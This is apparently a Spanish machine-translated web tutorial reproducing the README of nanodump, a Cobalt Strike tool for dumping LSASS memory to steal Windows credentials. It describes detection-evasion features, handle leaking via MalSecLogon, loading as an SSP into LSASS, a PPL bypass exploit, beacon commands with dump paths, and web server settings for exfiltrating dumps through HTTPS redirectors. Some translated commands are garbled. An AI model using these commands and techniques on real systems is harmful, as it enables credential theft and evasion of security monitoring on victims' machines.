Tutoriales

Un dumper LSASS de mierda sin arte ASCII

nanovolcadouna herramienta flexible que crea un minivolcado del proceso LSASS.

Características

  • Utiliza llamadas al sistema (con SysWhispers2) para la mayoría de las operaciones.
  • Las llamadas al sistema se llaman desde un ntdll address para omitir algunas detecciones de llamadas al sistema.
  • Establece el enlace de devolución de llamada syscall en NULL.
  • Las API de Windows se llaman mediante invocación dinámica.
  • Puede optar por descargar el volcado sin tocar el disco o escribirlo en un archivo.
  • El minivolcado de forma predeterminada tiene una firma no válida para evitar la detección.
  • Reduce el tamaño del volcado al ignorar las DLL irrelevantes. El volcado (nano) tiende a tener un tamaño de alrededor de 10 MiB.
  • No necesita proporcionar el PID de LSASS.
  • Sin llamadas a dbgayuda o cualquier otra biblioteca, toda la lógica de volcado se implementa en nanodump.
  • Soporta bifurcación de procesos.
  • Soporta instantáneas.
  • Admite la duplicación de manijas.
  • Soporta MalSecLogon.
  • Soporta la explotación de la zona de usuario de PPL.
  • Puede cargar nanodump en LSASS como proveedor de soporte de seguridad (SSP).
  • Puede usar la versión .exe para ejecutar nanovolcado fuera de Cobalt Strike 😄.

Uso

Clon

clon de git https://github.com/helpsystems/nanodump.git

Compilar (opcional)

En Linux con MinGW

En Windows con MSVC (Sin soporte BOF)

nmake -f Makefile.msvc

Importar

Importar el NanoDump.cna guión de Cobalt Strike.

Correr

ejecutar el nanodump Comando en la consola Beacon.

baliza> nanovolcado

Restaurar la firma

Una vez que haya descargado el minivolcado, restaure la firma no válida

scripts/restaurar_firma

bifurcación del proceso

Para evitar abrir un identificador a LSASS con PROCESS_VM_READpuedes usar el --fork parámetro.
Esto hará que nanodump cree un identificador para LSASS con PROCESS_CREATE_PROCESS acceda y luego cree un ‘clon’ del proceso. Este nuevo proceso será luego volcado. Si bien esto dará como resultado la creación y eliminación de un proceso, elimina la necesidad de leer LSASS directamente.

Instantánea

De manera similar a la --fork opción, puede usar --snapshot para crear una instantánea del proceso LSASS.
Esto hará que nanodump cree un identificador para LSASS con PROCESS_CREATE_PROCESS acceder y luego crear una instantánea del proceso usando PssNtCaptureSnapshot. Este nuevo proceso será luego volcado. La instantánea se liberará automáticamente al finalizar.

Manejar la duplicación

Como se puede detectar la apertura de un controlador para LSASS, nanodump puede buscar controladores existentes para LSASS.
Si encuentra uno, lo copiará y lo usará para crear el minivolcado.
Tenga en cuenta que no se garantiza encontrar dicho identificador.

MalSecLogon

Para evitar abrir un identificador en LSASS, puede usar MalSecLogon, que es una técnica que (ab)usa CreateProcessWithLogonW para filtrar un identificador LSASS.
Para habilitar esta característica, utilice el --malseclogon parámetro.
Tenga en cuenta que se debe escribir en el disco un binario de nanodump sin firmar para usar esta función.

MalSecLogon y manejar la duplicación

Como se dijo antes, el uso de MalSecLogon requiere que se escriba un binario nanodump en el disco.
Esto se puede evitar si --malseclogon y --dup se utilizan junto con --binary.
El truco consiste en filtrar un identificador para LSASS usando MalSecLogon, pero en lugar de filtrarlo en nanodump.exe, filtrarlo en otro binario y luego duplicar el identificador filtrado para que nanodump pueda usarlo.

Cargar nanodump como un SSP

Puede cargar nanodump como un SSP en LSASS para evitar abrir un identificador. El volcado se escribirá en el disco con una firma no válida en C:\Windows\Temp\report.docx por defecto. Una vez que se completa el volcado, DllMain devolverá FALSO para que LSASS descargue la DLL de nanodump.
Para cambiar la ruta de volcado y la configuración de la firma, modifique la función NanoDump en entry.c y vuelva a compilar.

Cargue y cargue una DLL de nanodump

Si se usa sin parámetros, se cargará una DLL de nanodump sin firmar en la carpeta Temp. Una vez que se haya creado el volcado, elimine manualmente la DLL con el delete_file dominio.

beacon> cargar_ssp
baliza> eliminar_archivo C:\Windows\Temp[RANDOM].dll

derivación PPL

Si LSASS se está ejecutando como Protected Process Light (PPL), puede intentar omitirlo utilizando un exploit de usuario descubierto por Project Zero. Si tiene éxito, el volcado se escribirá en el disco.

Para acceder a esta función, utilice el nanodump_ppl dominio

baliza> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp

Parámetros

–getpid

Obtenga el PID de LSASS y váyase.
Esto es solo por conveniencia, nanodump no necesita el PID de LSASS.

–escribir -w < path > (requerido para EXE)

Dónde escribir el archivo de volcado.

  • BOF: si no se proporciona este parámetro, el volcado se descargará sin archivos.
  • EXE: Este parámetro es obligatorio dado que no existe ningún canal C2

–válido -v

El minivolcado tendrá una firma válida.
Si no se ingresa, la firma no será válida. Antes de analizar el volcado restaurar la firma del volcado, con:
scripts/restore_signature

–horquilla -f

Bifurque LSASS y descargue este nuevo proceso.

–instantánea -s

Cree una instantánea de LSASS y descargue este nuevo proceso.

–dup -d

Intente encontrar un identificador existente para LSASS y duplíquelo.

–malseclogon -m

Filtrar un identificador a LSASS usando MalSecLogon.
Si se usa como BOF, se escribirá un binario sin firmar en el disco a menos que también se proporcione -dup.

–binario -b < path >

Ruta a un binario como C:\Windows\notepad.exe.
Esta opción se utiliza exclusivamente con --malseclogon y --dup.

Ejemplos

Lea LSASS indirectamente creando una bifurcación y escriba el volcado en el disco con una firma no válida:

baliza> nanodump –fork –escribir C:\lsass.dmp

Use MalSecLogon para filtrar un identificador de LSASS en un proceso de bloc de notas, duplique ese identificador para obtener acceso a LSASS, luego léalo indirectamente creando una bifurcación y descargue el volcado con una firma válida:

baliza> nanodump –malseclogon –dup –fork –binary C:\Windows\notepad.exe –valid

Maneja MalSecLogon, lee LSASS indirectamente usando una bifurcación y escribe el volcado en el disco con una firma válida (¡se cargará un binario nanodump!):

baliza> nanodump –malseclogon –fork –válido –escribir C:\Windows\Temp\lsass.dmp

Redirectores HTTPS

Si está utilizando un redirector de HTTPS (como debería), es posible que tenga problemas al descargar el archivo de volcado debido al tamaño de las solicitudes que filtran el volcado.
Aumente el tamaño máximo de las solicitudes en su servidor web para permitir que nanodump descargue el volcado.

NGINX

ubicación ~ ^…$ {

client_max_body_size 50M;
}

Apache2

LímiteSolicitudCuerpo 52428800

LEER  Instalación, revisión y personalización de Linux Mint 20.1

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba